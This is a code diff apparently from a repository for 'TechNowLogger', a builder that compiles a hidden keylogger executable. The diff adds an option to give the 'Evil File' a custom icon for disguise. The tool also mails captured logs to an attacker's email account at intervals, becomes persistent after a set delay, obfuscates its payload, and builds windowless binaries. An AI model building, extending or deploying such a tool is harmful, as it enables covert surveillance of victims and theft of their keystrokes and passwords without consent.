1212WINDOWS_PYTHON_PYINSTALLER_PATH = os .path .expanduser ("C:/Python37-32/Scripts/pyinstaller.exe" )
1313
1414def get_arguments ():
15- parser = argparse .ArgumentParser (description = f'{ RED } TechNowLogger v1.2 ' )
15+ parser = argparse .ArgumentParser (description = f'{ RED } TechNowLogger v1.3 ' )
1616 parser ._optionals .title = f"{ GREEN } Optional Arguments{ YELLOW } "
1717 parser .add_argument ("-i" , "--interval" , dest = "interval" , help = "Time between reports in seconds. default=120" , default = 120 )
1818 parser .add_argument ("-t" , "--persistence" , dest = "time_persistent" , help = "Becoming Persistence After __ seconds. default=10" , default = 10 )
@@ -21,6 +21,7 @@ def get_arguments():
2121
2222
2323 required_arguments = parser .add_argument_group (f'{ RED } Required Arguments{ GREEN } ' )
24+ required_arguments .add_argument ("--icon" , dest = "icon" , help = "Specify Icon Path, Icon of Evil File [Note : Must Be .ico]." )
2425 required_arguments .add_argument ("-e" , "--email" , dest = "email" , help = "Email address to send reports to." )
2526 required_arguments .add_argument ("-p" , "--password" , dest = "password" , help = "Password for the email address given in the -e argument." )
2627 required_arguments .add_argument ("-o" , "--out" , dest = "out" , help = "Output file name." , required = True )
@@ -29,7 +30,7 @@ def get_arguments():
2930def check_dependencies ():
3031 print (f"{ YELLOW } \n [*] Checking Dependencies..." )
3132 try :
32- import mss , essential_generators , PyInstaller , pynput , six
33+ import mss , essential_generators , PyInstaller , pynput , six , win32gui
3334 print (f"{ GREEN } [+] All Dependencies are Installed on this system ;)\n " )
3435 except Exception as e :
3536 print (f"[!] Error : { e } " )
@@ -44,6 +45,7 @@ def check_dependencies():
4445 pip .main (['install' , 'pynput==1.4.4' ])
4546 pip .main (['install' , 'six==1.12.0' ])
4647 pip .main (['install' , 'python-xlib==0.25' ])
48+ pip .main (['install' , 'win32gui' ])
4749 print (f'\n { WHITE } [ * * * * * * * * * * * * * * * * * * * * * * * * * ]\n ' )
4850 print (f"{ GREEN } \n [+] Dependencies installed correctly ;)\n " )
4951 break
@@ -65,11 +67,11 @@ def obfuscating_payload(file_name):
6567 with open (file_name , "a" ) as file :
6668 file .write (text )
6769
68- def compile_for_windows (file_name ):
69- subprocess .call ([ WINDOWS_PYTHON_PYINSTALLER_PATH , " --onefile" , " --noconsole" , " --hidden-import=pynput.keyboard" , " --hidden-import=keylogger" , file_name ] )
70+ def compile_for_windows (file_name , icon_path ):
71+ subprocess .call (f" { WINDOWS_PYTHON_PYINSTALLER_PATH } --onefile --noconsole --hidden-import=pynput.keyboard --hidden-import=keylogger { file_name } -i { icon_path } " , shell = True )
7072
71- def compile_for_linux (file_name ):
72- subprocess .call ([ "pyinstaller" , " --onefile" , " --noconsole" , " --hidden-import=pynput.keyboard" , " --hidden-import=keylogger" , file_name ] )
73+ def compile_for_linux (file_name , icon_path ):
74+ subprocess .call (f "pyinstaller --onefile --noconsole --hidden-import=pynput.keyboard --hidden-import=keylogger { file_name } -i { icon_path } " , shell = True )
7375
7476def del_junk_file (file_name ):
7577 build = os .getcwd () + "\\ build"
@@ -101,7 +103,8 @@ def exit_greet():
101103 print (f' { YELLOW } Password:{ RED } ' + arguments .password )
102104 print (f' { YELLOW } Log\' s Send Interval:{ RED } Every ' + str (arguments .interval ) + ' seconds' )
103105 print (f' { YELLOW } Becomes Persistence After:{ RED } ' + str (arguments .time_persistent ) + ' seconds' )
104- print (f' { YELLOW } Output Evil File Name:{ RED } ' + arguments .out )
106+ print (f' { YELLOW } Output Evil File Name:{ RED } ' + arguments .out )
107+ print (f' { YELLOW } Icon Path:{ RED } ' + arguments .icon )
105108 print (f'\n { GREEN } [ * * * * * * * * * * * * * * * * * * * * * * * * * ]' )
106109
107110 ask = input (f'\n { WHITE } [?] These info above are correct? (y/n) : ' )
@@ -113,7 +116,8 @@ def exit_greet():
113116 arguments .password = input ('[?] Type your gmail password: ' )
114117 arguments .interval = int (input ('[?] Time interval to send logs; [In Seconds]: ' ))
115118 arguments .time_persistent = int (input ('[?] Time after to become persistence; [In Seconds]: ' ))
116- arguments .out = input ('[?] Output Evil File Name: ' )
119+ arguments .out = input ('[?] Output Evil File Name: ' )
120+ arguments .icon = input ('[?] Icon Path (If Present In This Directory, then just type Name): ' )
117121
118122 check_dependencies ()
119123
@@ -128,10 +132,10 @@ def exit_greet():
128132 print (f"{ MAGENTA } " )
129133
130134 if arguments .windows :
131- compile_for_windows (arguments .out )
135+ compile_for_windows (arguments .out , arguments . icon )
132136
133137 if arguments .linux :
134- compile_for_linux (arguments .out )
138+ compile_for_linux (arguments .out , arguments . icon )
135139
136140 print (f"\n { YELLOW } [*] Deleting Junk Files..." )
137141 del_junk_file (arguments .out )
0 commit comments